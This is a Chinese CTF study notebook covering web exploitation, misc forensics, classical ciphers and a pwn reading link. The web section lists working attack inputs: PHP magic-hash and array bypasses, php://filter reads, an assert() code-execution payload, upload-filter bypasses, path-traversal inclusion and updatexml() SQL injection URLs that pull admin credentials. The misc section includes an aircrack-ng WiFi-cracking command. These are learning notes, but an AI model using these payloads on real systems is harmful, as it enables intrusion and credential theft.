CTF_web
1、PHP中md5()函数无法处理数组,如果传入的为数组,会返回NULL
2、PHP有备份文件时,一般情况下时寻找.bak文件的
3、碰撞
当两个字符MD5加密后的值为0exxxx形式,就会被认为是科学计数法,且表示为0*10的x次方
下面的字符串是MD5值都是0e开头的:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s1091221200a
s1502113478a
md5碰撞
PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
攻击者可以利用这一漏洞,通过输入一个经过哈希后以”0E”开头的字符串,即会被PHP解释为0,如果数据库中存在这种哈希值以”0E”开头的密码的话,他就可以以这个用户的身份登录进去,尽管并没有真正的密码。
sha1碰撞
uname[]=1
passwd[]=2
4、php伪协议
https://www.freebuf.com/column/148886.html
php://input可以读取没有处理过的POST数据。
file=php://filter/read=convert.base64-encode/resource=
5、在url中向目标发送数据,可以使用php://input,加上post数据
6、https://blog.csdn.net/qq_41420747/article/details/82193325
assert --> php代码函数执行漏洞
assert(print_r(scandir('./'))) --> 打印当前目录下的文件
7、sql约束攻击
https://blog.csdn.net/sinat_41380394/article/details/81913801
现在讲一下sql约束攻击的条件:
1.mysql处于ANSI模式。如果是TRADITIONAL模式或者STRICT_TRANS_TABLES模式会报错data too long for column。
2.服务端没有对用户名长度进行限制。如果服务端限制了用户名长度就自然就不客能导致数据库截断,也就没有利用条件。
3.登陆验证的SQL语句必须是用户名和密码一起验证。如果是验证流程是先根据用户名查找出对应的密码然后再比对密码,当使用vampire为用户名来查询密码的话,数据库此时就会返回两条记录,而一般取第一条即目标用户的记录,那么传输的密码肯定和目标用户密码匹配不上的。
4.验证成功后返回的必须是用户传递进来的用户名,而不是从数据库取出的用户名。因为当我们以用户vampire和密码random_pass登陆时,其实数据库返回的是我们自己的用户信息,而我们的用户名其实是vampire+若干个空格,如果此后的业务逻辑以该用户名为准,那么就不能达到越权的目的了。
8、User-Agent的作用
User Agent中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等
9、referer作用
HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。
谷歌的referer:https://www.google.com
10、本地访问
伪造ip
X-Forwarded-For:127.0.0.1
11、上传文件过滤
1)请求头部的Content-Type
大小写绕过
2)文件后缀
黑名单来判断文件后缀
php3,php4,phtml,phtm,pht,phps,php5(包括一些字母改变大小写)
phpstudy和wamp以及centos用yum方式安装的lamp环境不能解析phtml和pht
3)请求数据的Content-Type
4)做题经验
将文件名改为:.php;.jpg
12、域名解析
修改本地hosts文件,将域名与ip地址绑定
hosts文件位置:c:\windows\system32\drivers\etc
13、正则表达式
https://www.jb51.net/tools/regexsc.htm
14、PHP语法中危险函数
CTF之PHP黑魔法总结http://www.10tiao.com/html/664/201702/2650420346/1.html
eval() --> 允许执行()内任意PHP代码
eregi() --> 截断漏洞
ereg() 函数或 eregi() 函数存在空字符截断漏洞,即参数中的正则表达式或待匹配字符串遇到空字符则截断丢弃后面的数据。
strcmp() --> 利用数组绕过
strcmp()绕过:https://www.jianshu.com/p/63f07a904f4a
int strcmp ( string $str1 , string $str2 )
Return Values
Returns < 0 if str1 is less than str2; > 0 if str1 is greater than str2, and 0 if they are equal.
当输入的两个值为不是字符串时就会产生不预期的返回值:
比如
这样一段代码中,输入password[]=1则返回success,成功绕过验证
15、PHP文件上传绕过
https://blog.csdn.net/iamsongyu/article/details/83033000
1)前端JS验证
基于本地验证文件是否符合要求:直接将JavaScript禁用。或者burp抓包后修改后缀,将php文件后缀现先改为jpg,burp抓包后后缀改回php。
2)MIME类型验证
burp抓包修改Content-type类型为相应的格式,eg:image/jpeg image/png
3)黑名单验证
① 寻找没有过滤的类型
phtml php3 php4 php5 PHP phtm
例如phtml php3 php4 php5 PHP phtm这些后缀名首先得让服务器支持这些解析为php脚本运行,httpd.conf配置文件中可以查看设置。
② 大小写绕过
eg:phP
③ 文件名修改
将文件名改为:.php;.jpg
4)00截断
注意:较低版本的php会出现这个漏洞
5)双写绕过
如果对文件的内容例如
6)一句话
--> 列出该文件夹下的目录内容
16、CTF中的PHP反序列化
https://www.freebuf.com/column/151447.html
序列化后对象的格式:
引用上述示例代码中的输出结果
output:
O:6:”Person”:2:{s:12:” Person name”;s:8:”Thinking”;s:11:” Person sex”;s:3:”man”;}
a:2:{s:4:”name”;s:8:”Thinking”;s:3:”sex”;s:3:”man”;}
对象类型:对象名长度:“对象名”:对象成员变量个数:{变量1类型:变量名1长度:变量名1; 参数1类型:参数1长度:参数1; 变量2类型:变量名2长度:“变量名2”; 参数2类型:参数2长度:参数2;… …}
对象类型:Class:用O表示,Array:用a表示。
变量和参数类型:string:用s表示,Int:用i表示,Array:用a表示。
序列符号:参数与变量之间用分号(;)隔开,同一变量和同一参数之间的数据用冒号(:)隔开。
反序列化漏洞中常见的一些魔术方法
__construct():在对象创建时自动被调用;一个类中只能声明一个构造方法;
__destruct():在脚本运行结束时自动被调用;
__sleep():在对象序列化的时候自动被调用;在一个类的实例被序列化了的时候调用
__wakeup():在反序列化为对象时自动被调用;
__toString(): 直接输出对象引用时自动被调用;必须返回一个字符串;
注意:
__sleep()必须返回一个数组或者对象,而一般返回的是当前对象$this。返回的值将会被用来做序列化的值。如果不返回这个值,自然表示序列化失败。同时也会连累到反序列化时不会调用__wakeup()方法.
__wakeup()执行漏洞:一个字符串或对象被序列化后,如果其属性被修改,则不会执行__wakeup()函数,这也是一个绕过点。
17、linux命令坑
在Unix中 , 会生成一个 .bash_history 的文件 , 记录了用户的操作历史
mount --> 文件挂载
mount 文件路径 被挂载路径
-o ro -->只读模式
base64
-d 解码
-i 忽略非字母表字符
dd --> 用户读取、转换并输出数据
可从标准输入或文件中读取数据,根据指定的格式来转换数据,在输出到文件、设备或标准输出
if=文件名: 输入文件名。即指定源文件
of=文件名: 输出文件名。即指定目的文件
ibs=bytes:一次读入bytes个字节,即指定一个块大小为bytes个字节。
obs=bytes:一次输出bytes个字节,即指定一个块大小为bytes个字节。
bs=bytes:同时设置读入/输出的块大小为bytes个字节。
cbs=bytes:一次转换bytes个字节,即指定转换缓冲区大小。
skip=blocks:从输入文件开头跳过blocks个块后再开始复制。
seek=blocks:从输出文件开头跳过blocks个块后再开始复制。
count=blocks:仅拷贝blocks个块,块大小等于ibs指定的字节数。
windows或linux下: command1 && command2 先执行command1后执行command2 command1 | command2 只执行command2 command1 & command2 先执行command2后执行command1
18、做题时使用到的python库
1) collections
19、SQL注入
延迟注入:
https://www.cnblogs.com/backlion/p/9721693.html
函数:
sleep() --> 延迟函数
if(condition, ture, false) --> 条件语句
ascii() --> 转换成ascii码
substring("string", start, legth) --> 提取
20、
1. hr函数在转换的时候会自动将字符串的ascii值取模256,所以只需要将原来的ascii值加256就能绕过$value[$i] > 32 && $value[$i] < 127
2. intval()函数在进行16进制转换的时候存在问题,强制转换时正常,也就是说将password传入的值改为16进制就可以了
21、本地文件包含
eg:?page=../../../etc/
22、调试参数?debug
通常在调试时使用 eg:index.php?debug
23、sqlite系统表
sqlite_master
24、利用GBK双字节编码突破PHP单引号转义限制进行SQL注入(sql宽字节注入)
总结:https://blog.csdn.net/u011721501/article/details/23483321
众所周知addslashes函数产生的效果就是,让’变成\’,让引号变得不再是“单引号”,只是一撇而已
25、代码审计|变量覆盖漏洞
总结:https://www.cnblogs.com/sqyysec/p/6926095.html(不全)
常见的变量覆盖漏洞函数:
extract()
parse_str()
import_request_variables()
26、strcmp函数漏洞
构造数组绕过
27、updatexml()函数报错注入
爆数据库版本信息
http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
链接用户
http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
链接数据库
http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
爆库:
http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆表:
http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段:
http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段内容:
http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)
28、题目给出hint
1) 在登录窗口
① 用户名密码输入hint
② 在GET参数中传入hint=1
29、php函数绕过
chr()函数:
chr函数是值除以256取余数
intval函数:
用科学计数法绕过
30、php存在漏洞的函数
类型:变量覆盖漏洞 --> php变量覆盖漏洞总结:https://www.0dayhack.com/post-411.html
函数:
extract()
parse_url()
parse_str()
CTF_misc
总结:
https://blog.csdn.net/xuchen16/article/details/82969608
1、pdf的文件结构
文件的第一行是文件头,指明了该文件所遵从的PDF规范的版本号
一个对象的第一行一般有两个数字和关键字“obj
第一个数字称为对象号,来唯一标识一个对象的,第二个是产生号,是用来表明它在被创建后的第几次修改,所有新创建的PDF文件的对象号应该都是0,即第一次被创建以后没有被修改过。上面的例子就说明该对象的对象号是3,而且创建后没有被修改过。
对象的内容应该是包含在<<和>>之间的,最后以关键字endobj结束.
2、kali中有pdfinfo工具查看pdf信息;pdftotext 转换为txt文件
3、pdf.js插件可以实现在html下直接浏览pdf文档,是一款开源的pdf文档读取解析插件
4、js中textContent 与 innerText、innerHTML 的区别
https://www.jianshu.com/p/7fde1924919b
5、strings使用方法
strings命令在对象文件或二进制文件中查找可打印的字符串。字符串是4个或更多可打印字符的任意序列,以换行符或空字符结束。 strings命令对识别随机对象文件很有用。
选项:
-a --all:扫描整个文件而不是只扫描目标文件初始化和装载段
-f –print-file-name:在显示字符串前先显示文件名
-t --radix={o,d,x} :输出字符的位置,基于八进制,十进制或者十六进制
-e --encoding={s,S,b,l,B,L} :选择字符大小和排列顺序:s = 7-bit, S = 8-bit, {b,l} = 16-bit, {B,L} = 32-bit
6、outguss隐写
用法: outguess -r xx.jpg out (kali工具)
7、git泄露
使用githack工具dump源码
分析源码,进行破解
做题遇到的知识点:
php弱类型比较
1、==和===
==为弱相等,也就是说12=="12" --> true,而且12=="12cdf" --> true,只取字符串中开头的整数部分,但是1e3dgf这样的字符串在比较时,取的是符合科学计数法的部分:1e3,也就是1000.
而且bool类型的true和任意字符串的弱类型相等
===为完全相等,数据类型和值都相等时返回true。
这里是php手册上全面的说明:https://secure.php.net/manual/zh/types.comparisons.php
2、大小比较
字符串比较相必都很清楚,就是比较的ASCII码,比"aa">"ab"。
字符串和整数的比较呢?
规则和==的比较是一样的,也就是说,取字符串中开头的整数部分,不过符合科学计数法时要按照科学计数法来取。
如果字符串第一个字母,包括e,就取成0。也就是说"ab"-->0,"e1be"-->0。
8、U2Fsd头,一般为AES加盐
9、NTFS的数据流隐写
作用:NTFS分区的数据流是一个子文件系统允许额外的数据连接到一个特别的文件中,用来维持与宿主文件相关的信息
https://blog.csdn.net/alone_map/article/details/51851071
具体实例:bugku_猫片
10、ZIP文件加密破解
判断伪加密
zip暴力破解
使用Ziperello进行字典猜解,或暴力破解
明文攻击
使用ARCHPR进行明文攻击,明文和密文需要为同一格式文件
11、kali绘图工具gnuplot的使用
https://blog.csdn.net/chengde6896383/article/details/83895806
进入gnuplot之后键入:plot "new1.txt"
12、wifi连接认证的重点在WPA的四次握手包,也就是eapol协议的包
破解wifi密码,使用kali工具中的aircrack
命令:aircrack-ng -w 字典文件 抓的包
13、LSB(最低有效位)隐写
https://segmentfault.com/a/1190000016223897
CTF_Crypto
1、brainfuc编码
解密:https://tool.bugku.com/brainfuck/
+++++ +++++ [->++ +++++ +++<] >++.+ +++++ .<+++ [->-- -<]>- -.+++ +++.<
++++[ ->+++ +<]>+ +++.< +++[- >---< ]>--- .---- .<+++ ++++[ ->--- ----<
]>--- ----- ----- .<+++ ++++[ ->+++ ++++< ]>+++ ++.<+ +++++ +[->- -----
-<]>. <++++ ++++[ ->+++ +++++ <]>++ .<+++ [->-- -<]>- ----. <++++ +++[-
>---- ---<] >---- ----. +++++ +..++ +++.+ .<+++ [->-- -<]>- --.<+ +++++
+[->+ +++++ +<]>+ ++.++ +.+++ +++++ +.--- -.+++ ++.<+ ++[-> +++<] >++++
++.<
2、mrose电码加密
特点: 由0和1组成,且每组的01长度可能不等
解密:https://github.com/houhuiting/bugku-python/blob/master/binary%20morse_to_ascii.py
3、培根密码:ABAAAABABBABAAAABABAAABAAABAAABAABAAAABAAAABA
特点:由AB组成
解密:http://rumkin.com/tools/cipher/baconian.php
4、AES加解密
特点:密文中存在大小写和+或=,解密需要密码
解密:http://tool.oschina.net/encrypt/
5、unicode 编码
特点:
[Hex]: The
[Decimal]: The
\U [Hex]: \U0054\U0068\U0065
\U+ [Hex]: \U+0054\U+0068\U+0065
解码:http://www.mxcz.net/tools/Unicode.aspx
6、ROT13(凯撒十三世)
特点:
解密:https://www.qqxiuzi.cn/bianma/ROT5-13-18-47.php
CTF_pwn
必看文章:
http://blog.nsfocus.net/ctf-class-part-1/